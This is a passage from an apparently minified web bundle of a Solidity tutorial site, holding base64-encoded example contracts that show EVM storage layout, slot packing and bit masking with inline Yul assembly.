ICAgIGZ1bmN0aW9uIHRlc3RfbWFwX2FycihhZGRyZXNzIGFkZHIsIHVpbnQyNTYgaSkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiB2LCB1aW50MjU2IGxlbikKICAgIHsKICAgICAgICB1aW50MjU2IG1hcF9zbG90ID0gMDsKICAgICAgICBieXRlczMyIG1hcF9oYXNoID0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoYWRkciwgbWFwX3Nsb3QpKTsKICAgICAgICBieXRlczMyIGFycl9oYXNoID0ga2VjY2FrMjU2KGFiaS5lbmNvZGUobWFwX2hhc2gpKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZW4gOj0gc2xvYWQobWFwX2hhc2gpCiAgICAgICAgICAgIHYgOj0gc2xvYWQoYWRkKGFycl9oYXNoLCBpKSkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEVWTVN0b3JhZ2VEeW5hbWljQXJyYXlTdHJ1Y3QgewogICAgc3RydWN0IFBvaW50IHsKICAgICAgICB1aW50MjU2IHg7CiAgICAgICAgdWludDEyOCB5OwogICAgICAgIHVpbnQxMjggejsKICAgIH0KCiAgICAvLyBzbG90IG9mIGVsZW1lbnQgPSBrZWNjYWsyNTYoc2xvdCB3aGVyZSB0aGlzIGFycmF5IGlzIGRlY2xhcmVkKSArIGluZGV4IG9mIGVsZW1lbnQKICAgIC8vIGtlY2NhazI1NigwKSArIGluZGV4ICogc2l6ZSBvZiBzdHJ1Y3QKICAgIFBvaW50W10gcHJpdmF0ZSBhcnI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgYXJyLnB1c2goUG9pbnQoMTEsIDIyLCAzMykpOwogICAgICAgIGFyci5wdXNoKFBvaW50KDQ0LCA1NSwgNjYpKTsKICAgICAgICBhcnIucHVzaChQb2ludCg3NywgODgsIDk5KSk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zdHJ1Y3RfYXJyKHVpbnQyNTYgaSkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiB4LCB1aW50MTI4IHksIHVpbnQxMjggeiwgdWludDI1NiBsZW4pCiAgICB7CiAgICAgICAgdWludDI1NiBzbG90ID0gMDsKICAgICAgICBieXRlczMyIHN0YXJ0ID0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoc2xvdCkpOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxlbiA6PSBzbG9hZChzbG90KQogICAgICAgICAgICAvLyBzMCA9IGtlY2NhazI1NigwKQogICAgICAgICAgICAvLyBpbmRleCB8IHNsb3QgICAgICAgIHwgdmFsdWVzCiAgICAgICAgICAgIC8vICAgICAwIHwgc2xvdCBzMCArIDAgfCBhcnJbMF0ueAogICAgICAgICAgICAvLyAgICAgMCB8IHNsb3QgczAgKyAxIHwgYXJyWzBdLnogfCBhcnJbMF0ueQogICAgICAgICAgICAvLyAgICAgMSB8IHNsb3QgczAgKyAyIHwgYXJyWzFdLngKICAgICAgICAgICAgLy8gICAgIDEgfCBzbG90IHMwICsgMyB8IGFyclsxXS56IHwgYXJyWzFdLnkKICAgICAgICAgICAgLy8gICAgIDIgfCBzbG90IHMwICsgNCB8IGFyclsyXS54CiAgICAgICAgICAgIC8vICAgICAyIHwgc2xvdCBzMCArIDUgfCBhcnJbMl0ueiB8IGFyclsyXS55CiAgICAgICAgICAgIHggOj0gc2xvYWQoYWRkKHN0YXJ0LCBtdWwoaSwgMikpKQogICAgICAgICAgICBsZXQgenkgOj0gc2xvYWQoYWRkKHN0YXJ0LCBhZGQobXVsKGksIDIpLCAxKSkpCiAgICAgICAgICAgIC8vIHVpbnQxMjggY3V0cyBvZmYgbGVmdCBtb3N0IDEyOCBiaXRzIGZyb20gMzIgYnl0ZXMKICAgICAgICAgICAgeSA6PSB6eQogICAgICAgICAgICB6IDo9IHNocigxMjgsIHp5KQogICAgICAgIH0KICAgIH0KfQo="}],zk=`

                          Examples of

                          +`,Fk=({prev:s,next:a})=>r.jsx(A,{version:Xk,title:Rk,description:vk,cyfrinLink:Nk,html:Kk,prev:s,next:a,codes:Hk}),Mk="0.8.26",Sk="EVM Storage",xk="Example of EVM storage in Solidity",Jk="",zk=[{fileName:"EVMStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIFl1bCAtIGxhbmd1YWdlIHVzZWQgZm9yIFNvbGlkaXR5IGlubGluZSBhc3NlbWJseQpjb250cmFjdCBZdWxJbnRybyB7CiAgICAvLyBZdWwgYXNzaWdubWVudAogICAgZnVuY3Rpb24gdGVzdF95dWxfdmFyKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHVpbnQyNTYgcyA9IDA7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gRGVjbGFyZSB2YXJpYWJsZQogICAgICAgICAgICBsZXQgeCA6PSAxCiAgICAgICAgICAgIC8vIFJlYXNzaWduCiAgICAgICAgICAgIHggOj0gMgogICAgICAgICAgICAvLyBBc3NpZ24gdG8gU29saWRpdHkgdmFyaWFibGUKICAgICAgICAgICAgcyA6PSAyCiAgICAgICAgfQoKICAgICAgICByZXR1cm4gczsKICAgIH0KCiAgICAvLyBZdWwgdHlwZXMgKGV2ZXJ5dGhpbmcgaXMgYnl0ZXMzMikK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QogICAgICAgICAgICBzc3RvcmUoMiwgMHhhYmFiYWIpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3N0b3JlX2FnYWluKCkgcHVibGljIHsKICAgICAgICAvLyBBY2Nlc3Mgc2xvdCB1c2luZyAuc2xvdAogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3N0b3JlKHNfeC5zbG90LCAxMjMpCiAgICAgICAgICAgIHNzdG9yZShzX3kuc2xvdCwgNDU2KQogICAgICAgICAgICBzc3RvcmUoc196LnNsb3QsIDB4Y2RjZGNkKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3Nsb2FkKCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiB4LCB1aW50MjU2IHksIGJ5dGVzMzIgeikKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHggOj0gc2xvYWQoMCkKICAgICAgICAgICAgeSA6PSBzbG9hZCgxKQogICAgICAgICAgICB6IDo9IHNsb2FkKDIpCiAgICAgICAgfQoKICAgICAgICByZXR1cm4gKHgsIHksIHopOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc2xvYWRfYWdhaW4oKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2IHgsIHVpbnQyNTYgeSwgYnl0ZXMzMiB6KQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgeCA6PSBzbG9hZChzX3guc2xvdCkKICAgICAgICAgICAgeSA6PSBzbG9hZChzX3kuc2xvdCkKICAgICAgICAgICAgeiA6PSBzbG9hZChzX3ouc2xvdCkKICAgICAgICB9CgogICAgICAgIHJldHVybiAoeCwgeSwgeik7CiAgICB9Cn0KCmNvbnRyYWN0IEVWTVN0b3JhdGVQYWNrZWRTbG90Qnl0ZXMgewogICAgLy8gc2xvdCAwIChwYWNrZWQgcmlnaHQgdG8gbGVmdCkKICAgIGJ5dGVzNCBwdWJsaWMgYjQgPSAweGFiYWJhYmFiOwogICAgYnl0ZXMyIHB1YmxpYyBiMiA9IDB4Y2RjZDsKCiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zIChieXRlczMyIGIzMikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgYjMyIDo9IHNsb2FkKDApCiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBCaXRNYXNraW5nIHsKICAgIGZ1bmN0aW9uIHRlc3RfbWFzaygpIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzMzIgbWFzaykgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gfCAgICAgICAyNTYgYml0cyAgICAgICAgfAogICAgICAgICAgICAvLyAwMDAgLi4uIDAwMCB8IDExMSAuLi4gMTExCiAgICAgICAgICAgIC8vICAgICAgICAgICAgIHwgMTYgYml0cwogICAgICAgICAgICAvLyAweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGZmZmYKICAgICAgICAgICAgbWFzayA6PSBzdWIoc2hsKDE2LCAxKSwgMSkKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zaGlmdF9tYXNrKCkgcHVibGljIHB1cmUgcmV0dXJucyAoYnl0ZXMzMiBtYXNrKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyB8ICAgICAgICAgICAgICAgMjU2IGJpdHMgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAvLyAwMDAgLi4uIDAwMCB8IDExMSAuLi4gMTExIHwgMDAwIC4uLiAwMDAgfAogICAgICAgICAgICAvLyAgICAgICAgICAgICB8IDE2IGJpdHMgICAgIHwgMzIgYml0cwogICAgICAgICAgICAvLyAweDAwMDAwMDAwMDAwMDAwMDAwMDA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TYgYml0cwogICAgdWludDY0IHB1YmxpYyBzX3g7CiAgICB1aW50MzIgcHVibGljIHNfeTsKCiAgICBmdW5jdGlvbiB0ZXN0X3NzdG9yZSgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBMb2FkIDMyIGJ5dGVzIGZyb20gc2xvdDAKICAgICAgICAgICAgbGV0IHYgOj0gc2xvYWQoMCkKCiAgICAgICAgICAgIC8vIHNfZCB8IHNfYyB8IHNfYiB8IHNfYQogICAgICAgICAgICAvLyAzMiAgfCAzMiAgfCA2NCAgfCAxMjggYml0cwoKICAgICAgICAgICAgLy8gU2V0IHNfYSA9IDExCiAgICAgICAgICAgIC8vIG1hc2sgPSBhbGwgMXMgYXQgYW5kIHRvIHRoZSBsZWZ0IG9mIDEyOCBiaXQgY291bnRpbmcgZnJvbSByaWdodAogICAgICAgICAgICAvLyAgICAgICAgMTExIC4uLiAxMTEgfCAwMDAgLi4uIDAwMAogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgICAgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19hIDo9IG5vdChzdWIoc2hsKDEyOCwgMSksIDEpKQogICAgICAgICAgICAvLyBTZXQgbGVmdCBtb3N0IDEyOCBiaXRzIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19hKQogICAgICAgICAgICAvLyBTZXQgc19hID0gMTEKICAgICAgICAgICAgdiA6PSBvcih2LCAxMSkKCiAgICAgICAgICAgIC8vIFNldCBzX2IgPSAyMgogICAgICAgICAgICAvLyBtYXNrID0gMTExLi4uMTExIHwgMDAwIC4uLiAwMDAgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19iIDo9IG5vdChzaGwoMTI4LCBzdWIoc2hsKDY0LCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2IgYnkgc2V0dGluZyBiaXRzICgxMjggdG8gMTkxIGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19iKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobCgxMjgsIDIyKSkKCiAgICAgICAgICAgIC8vIFNldCBzX2MgPSAzMwogICAgICAgICAgICAvLyBtYXNrID0gMTExLi4uMTExIHwgMDAwLi4uMDAwIHwgMTExIC4uLiAxMTEgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAzMiBiaXRzIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19jIDo9IG5vdChzaGwoMTkyLCBzdWIoc2hsKDMyLCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2MgYnkgc2V0dGluZyBiaXRzICgxOTIgdG8gMjIzIGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19jKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobCgxOTIsIDMzKSkKCiAgICAgICAgICAgIC8vIFNldCBzX2QgPSA0NAogICAgICAgICAgICAvLyBtYXNrID0gMDAwLi4uMDAwIHwgMTExLi4uMTExIHwgMTExIC4uLiAxMTEgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAzMiBiaXRzIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19kIDo9IG5vdChzaGwoMjI0LCBzdWIoc2hsKDMyLCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2QgYnkgc2V0dGluZyBiaXRzICgyMjQgdG8gMjU1IGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19kKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobCgyMjQsIDQ0KSkKCiAgICAgICAgICAgIC8vIFN0b3JlIG5ldyB2YWx1ZSB0byBzbG90MAogICAgICAgICAgICBzc3RvcmUoMCwgdikKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zbG90XzBfb2Zmc2V0KCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgYV9vZmZzZXQsCiAgICAgICAgICAgIHVpbnQyNTYgYl9vZmZzZXQsCiAgICAgICAgICAgIHVpbnQyNTYgY19vZmZzZXQsCiAgICAgICAgICAgIHVpbnQyNTYgZF9vZmZzZXQKICAgICAgICApCiAgICB7CiAgICAgICAgLy8gYV9vZmZzZXQgPSAgMCA9ICAwICogOCA9ICAgMCBiaXRzCiAgICAgICAgLy8gYl9vZmZzZXQgPSAxNiA9IDE2ICogOCA9IDEyOCBiaXRzCiAgICAgICAgLy8gY19vZmZzZXQgPSAyNCA9IDI0ICogOCA9IDE5MiBiaXRzCiAgICAgICAgLy8gZF9vZmZzZXQgPSAyOCA9IDI4ICogOCA9IDIyNCBiaXRzCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhX29mZnNldCA6PSBzX2Eub2Zmc2V0CiAgICAgICAgICAgIGJfb2Zmc2V0IDo9IHNfYi5vZmZzZXQKICAgICAgICAgICAgY19vZmZzZXQgOj0gc19jLm9mZnNldAogICAgICAgICAgICBkX29mZnNldCA6PSBzX2Qub2Zmc2V0CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc2xvdF8xX29mZnNldCgpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYWRkcl9vZmZzZXQsIHVpbnQyNTYgeF9vZmZzZXQsIHVpbnQyNTYgeV9vZmZzZXQpCiAgICB7CiAgICAgICAgLy8gYWRkcl9vZmZzZXQgPSAwCiAgICAgICAgLy8geF9vZmZzZXQgPSAyMAogICAgICAgIC8vIHlfb2Zmc2V0ID0gMjgKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGFkZHJfb2Zmc2V0IDo9IHNfYWRkci5vZmZzZXQKICAgICAgICAgICAgeF9vZmZzZXQgOj0gc194Lm9mZnNldAogICAgICAgICAgICB5X29mZnNldCA6PSBzX3kub2Zmc2V0CiAgICAgICAgfQogICAgfQoKICAgIC8vIHNsb3QgYW5kIG9mZnNldAogICAgZnVuY3Rpb24gdGVzdF9zc3RvcmVfdXNpbmdfb2Zmc2V0KCkgcHVibGljIHsKICAgICAgICAvLyBhX29mZnNldCA9ICAwID0gIDAgKiA4ID0gICAwIGJpdHMKICAgICAgICAvLyBiX29mZnNldCA9IDE2ID0gMTYgKiA4ID0gMTI4IGJpdHMKICAgICAgICAvLyBjX29mZnNldCA9IDI0ID0gMjQgKiA4ID0gMTkyIGJpdHMKICAgICAgICAvLyBkX29mZnNldCA9IDI4ID0gMjggKiA4ID0gMjI0IGJpdHMKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIExvYWQgMzIgYnl0ZXMgZnJvbSBzbG90MAogICAgICAgICAgICBsZXQgdiA6PSBzbG9hZChzX2Euc2xvdCkKCiAgICAgICAgICAgIC8vIHNfZCB8IHNfYyB8IHNfYiB8IHNfYQogICAgICAgICAgICAvLyAzMiAgfCAzMiAgfCA2NCAgfCAxMjggYml0cwoKICAgICAgICAgICAgLy8gU2V0IHNfYSA9IDExMQogICAgICAgICAgICAvLyBtYXNrID0gYWxsIDFzIGF0IGFuZCB0byB0aGUgbGVmdCBvZiAxMjggYml0IGNvdW50aW5nIGZyb20gcmlnaHQKICAgICAgICAgICAgLy8gICAgICAgIDExMSAuLi4gMTExIHwgMDAwIC4uLiAwMDAKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgICAgIHwgICAgMTI4IGJpdHMKICAgICAgICAgICAgbGV0IG1hc2tfYSA6PSBub3Qoc3ViKHNobCgxMjgsIDEpLCAxKSkKICAgICAgICAgICAgLy8gU2V0IGxlZnQgbW9zdCAxMjggYml0cyB0byAwCiAgICAgICAgICAgIHYgOj0gYW5kKHYsIG1hc2tfYSkKICAgICAgICAgICAgLy8gU2V0IHNfYSA9IDEKICAgICAgICAgICAgdiA6PSBvcih2LCAxMTEpCgogICAgICAgICAgICAvLyBTZXQgc19iID0gMjIyCiAgICAgICAgICAgIC8vIG1hc2sgPSAxMTEuLi4xMTEgfCAwMDAgLi4uIDAwMCB8IDExMSAuLi4gMTExCiAgICAgICAgICAgIC8vICAgICAgICAgICAgICAgICAgfCAgICAgNjQgYml0cyB8ICAgIDEyOCBiaXRzCiAgICAgICAgICAgIGxldCBtYXNrX2IgOj0gbm90KHNobChtdWwoc19iLm9mZnNldCwgOCksIHN1YihzaGwoNjQsIDEpLCAxKSkpCiAgICAgICAgICAgIC8vIENsZWFyIHByZXZpb3VzIHZhbHVlIG9mIHNfYiBieSBzZXR0aW5nIGJpdHMgKDEyOCB0byAxOTEgYml0cykgdG8gMAogICAgICAgICAgICB2IDo9IGFuZCh2LCBtYXNrX2IpCiAgICAgICAgICAgIHYgOj0gb3Iodiwgc2hsKG11bChzX2Iub2Zmc2V0LCA4KSwgMjIyKSkKCiAgICAgICAgICAgIC8vIFNldCBzX2MgPSAzMzMKICAgICAgICAgICAgLy8gbWFzayA9IDExMS4uLjExMSB8IDAwMC4uLjAwMCB8IDExMSAuLi4gMTExIHwgMTExIC4uLiAxMTEKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgICB8ICAgMzIgYml0cyB8ICAgICA2NCBiaXRzIHwgICAgMTI4IGJpdHMKICAgICAgICAgICAgbGV0IG1hc2tfYyA6PSBub3Qoc2hsKG11bChzX2Mub2Zmc2V0LCA4KSwgc3ViKHNobCgzMiwgMSksIDEpKSkKICAgICAgICAgICAgLy8gQ2xlYXIgcHJldmlvdXMgdmFsdWUgb2Ygc19jIGJ5IHNldHRpbmcgYml0cyAoMTkyIHRvIDIyMyBiaXRzKSB0byAwCiAgICAgICAgICAgIHYgOj0gYW5kKHYsIG1hc2tfYykKICAgICAgICAgICAgdiA6PSBvcih2LCBzaGwobXVsKHNfYy5vZmZzZXQsIDgpLCAzMzMpKQoKICAgICAgICAgICAgLy8gU2V0IHNfZCA9IDQ0NAogICAgICAgICAgICAvLyBtYXNrID0gMDAwLi4uMDAwIHwgMTExLi4uMTExIHwgMTExIC4uLiAxMTEgfCAxMTEgLi4uIDExMQogICAgICAgICAgICAvLyAgICAgICAgICAgICAgICAgIHwgICAzMiBiaXRzIHwgICAgIDY0IGJpdHMgfCAgICAxMjggYml0cwogICAgICAgICAgICBsZXQgbWFza19kIDo9IG5vdChzaGwobXVsKHNfZC5vZmZzZXQsIDgpLCBzdWIoc2hsKDMyLCAxKSwgMSkpKQogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZSBvZiBzX2QgYnkgc2V0dGluZyBiaXRzICgyMjQgdG8gMjU1IGJpdHMpIHRvIDAKICAgICAgICAgICAgdiA6PSBhbmQodiwgbWFza19kKQogICAgICAgICAgICB2IDo9IG9yKHYsIHNobChtdWwoc19kLm9mZnNldCwgOCksIDQ0NCkpCgogICAgICAgICAgICAvLyBTdG9yZSBuZXcgdmFsdWUgdG8gc2xvdDAKICAgICAgICAgICAgc3N0b3JlKHNfYS5zbG90LCB2KQogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgRVZNU3RvcmFnZVN0cnVjdCB7CiAgICBzdHJ1Y3QgU2luZ2xlU2xvdCB7CiAgICAgICAgdWludDEyOCB4OwogICAgICAgIHVpbnQ2NCB5OwogICAgICAgIHVpbnQ2NCB6OwogICAgfQoKICAgIHN0cnVjdCBNdWx0aXBsZVNsb3RzIHsKICAgICAgICB1aW50MjU2IGE7CiAgICAgICAgdWludDI1NiBiOwogICAgICAgIHVpbnQyNTYgYzsKICAgIH0KCiAgICAvLyBzbG90IDAKICAgIFNpbmdsZVNsb3QgcHVibGljIHNpbmdsZSA9IFNpbmdsZVNsb3Qoe3g6IDEsIHk6IDIsIHo6IDN9KTsKICAgIC8vIHNsb3QgMSwgMiwgMwogICAgTXVsdGlwbGVTbG90cyBwdWJsaWMgbXVsdGkgPSBNdWx0aXBsZVNsb3RzKHthOiAxMSwgYjogMjIsIGM6IDMzfSk7CgogICAgZnVuY3Rpb24gdGVzdF9nZXRfc2luZ2xlX3Nsb3Rfc3RydWN0KCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDEyOCB4LCB1aW50NjQgeSwgdWludDY0IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgcyA6PSBzbG9hZCgwKQogICAgICAgICAgICAvLyAgeiB8ICB5IHwgeAogICAgICAgICAgICAvLyA2NCB8IDY0IHwgMTI4IGJpdHMKICAgICAgICAgICAgLy8gQ2FzdGluZyBjdXRzIG9mZiBiaXRzIHRvIHRoZSBsZWZ0CiAgICAgICAgICAgIHggOj0gcwogICAgICAgICAgICB5IDo9IHNocigxMjgsIHMpCiAgICAgICAgICAgIHogOj0gc2hyKDE5MiwgcykKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9nZXRfbXVsdGlwbGVfc2xvdHNfc3RydWN0KCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiBhLCB1aW50MjU2IGIsIHVpbnQyNTYgYykKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGEgOj0gc2xvYWQoMSkKICAgICAgICAgICAgYiA6PSBzbG9hZCgyKQogICAgICAgICAgICBjIDo9IHNsb2FkKDMpCiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBFVk1TdG9yYWdlQ29uc3RhbnRzIHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgczAgPSAxOwogICA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gKHVpbnQyNTYgdikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gYXJyXzAgc3RhcnRzIGZyb20gc2xvdCAwCiAgICAgICAgICAgIHYgOj0gc2xvYWQoYWRkKDAsIGkpKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X2Fycl8xKHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NiB2KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBhcnJfMSBzdGFydHMgZnJvbSBzbG90IDMKICAgICAgICAgICAgdiA6PSBzbG9hZChhZGQoMywgaSkpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfYXJyXzIodWludDI1NiBpKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MTI4IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGFycl8yIHN0YXJ0cyBmcm9tIHNsb3QgNgogICAgICAgICAgICBsZXQgYjMyIDo9IHNsb2FkKGFkZCg2LCBkaXYoaSwgMikpKQogICAgICAgICAgICAvLyBzbG90IDYgPSAxc3QgZWxlbWVudCB8IDB0aCBlbGVtZW50CiAgICAgICAgICAgIC8vIHNsb3QgNyA9IDNyZCBlbGVtZW50IHwgMm5kIGVsZW1lbnQKICAgICAgICAgICAgLy8gc2xvdCA4ID0gMDAwIC4uLiAwMDAgfCA0dGggZWxlbWVudAoKICAgICAgICAgICAgLy8gaSBpcyBldmVuID0+IGdldCByaWdodCAxMjggYml0cyA9PiBjYXN0IGJ5dGVzMzIgdG8gdWludDEyOCAoY3V0IG9mZiBsZWZ0IDEyOCBiaXRzKQogICAgICAgICAgICAvLyBpIGlzIG9kZCAgPT4gZ2V0IGxlZnQgMTI4IGJpdHMgID0+IHNoaWZ0IHJpZ2h0IDEyOCBiaXRzCgogICAgICAgICAgICBzd2l0Y2ggbW9kKGksIDIpCiAgICAgICAgICAgIGNhc2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PSBhZGRyZXNzKDIpOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIG1hcFtBRERSXzFdLnB1c2goMTEpOwogICAgICAgIG1hcFtBRERSXzFdLnB1c2goMjIpOwogICAgICAgIG1hcFtBRERSXzFdLnB1c2goMzMpOwogICAgICAgIG1hcFtBRERSXzJdLnB1c2goNDQpOwogICAgICAgIG1hcFtBRERSXzJdLnB1c2goNTUpOwogICAgICAgIG1hcFtBRERSXzJdLnB1c2goNjYpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfbWFwX2FycihhZGRyZXNzIGFkZHIsIHVpbnQyNTYgaSkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiB2LCB1aW50MjU2IGxlbikKICAgIHsKICAgICAgICB1aW50MjU2IG1hcF9zbG90ID0gMDsKICAgICAgICBieXRlczMyIG1hcF9oYXNoID0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoYWRkciwgbWFwX3Nsb3QpKTsKICAgICAgICBieXRlczMyIGFycl9oYXNoID0ga2VjY2FrMjU2KGFiaS5lbmNvZGUobWFwX2hhc2gpKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZW4gOj0gc2xvYWQobWFwX2hhc2gpCiAgICAgICAgICAgIHYgOj0gc2xvYWQoYWRkKGFycl9oYXNoLCBpKSkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEVWTVN0b3JhZ2VEeW5hbWljQXJyYXlTdHJ1Y3QgewogICAgc3RydWN0IFBvaW50IHsKICAgICAgICB1aW50MjU2IHg7CiAgICAgICAgdWludDEyOCB5OwogICAgICAgIHVpbnQxMjggejsKICAgIH0KCiAgICAvLyBzbG90IG9mIGVsZW1lbnQgPSBrZWNjYWsyNTYoc2xvdCB3aGVyZSB0aGlzIGFycmF5IGlzIGRlY2xhcmVkKSArIGluZGV4IG9mIGVsZW1lbnQKICAgIC8vIGtlY2NhazI1NigwKSArIGluZGV4ICogc2l6ZSBvZiBzdHJ1Y3QKICAgIFBvaW50W10gcHJpdmF0ZSBhcnI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgYXJyLnB1c2goUG9pbnQoMTEsIDIyLCAzMykpOwogICAgICAgIGFyci5wdXNoKFBvaW50KDQ0LCA1NSwgNjYpKTsKICAgICAgICBhcnIucHVzaChQb2ludCg3NywgODgsIDk5KSk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zdHJ1Y3RfYXJyKHVpbnQyNTYgaSkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1NiB4LCB1aW50MTI4IHksIHVpbnQxMjggeiwgdWludDI1NiBsZW4pCiAgICB7CiAgICAgICAgdWludDI1NiBzbG90ID0gMDsKICAgICAgICBieXRlczMyIHN0YXJ0ID0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoc2xvdCkpOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxlbiA6PSBzbG9hZChzbG90KQogICAgICAgICAgICAvLyBzMCA9IGtlY2NhazI1NigwKQogICAgICAgICAgICAvLyBpbmRleCB8IHNsb3QgICAgICAgIHwgdmFsdWVzCiAgICAgICAgICAgIC8vICAgICAwIHwgc2xvdCBzMCArIDAgfCBhcnJbMF0ueAogICAgICAgICAgICAvLyAgICAgMCB8IHNsb3QgczAgKyAxIHwgYXJyWzBdLnogfCBhcnJbMF0ueQogICAgICAgICAgICAvLyAgICAgMSB8IHNsb3QgczAgKyAyIHwgYXJyWzFdLngKICAgICAgICAgICAgLy8gICAgIDEgfCBzbG90IHMwICsgMyB8IGFyclsxXS56IHwgYXJyWzFdLnkKICAgICAgICAgICAgLy8gICAgIDIgfCBzbG90IHMwICsgNCB8IGFycls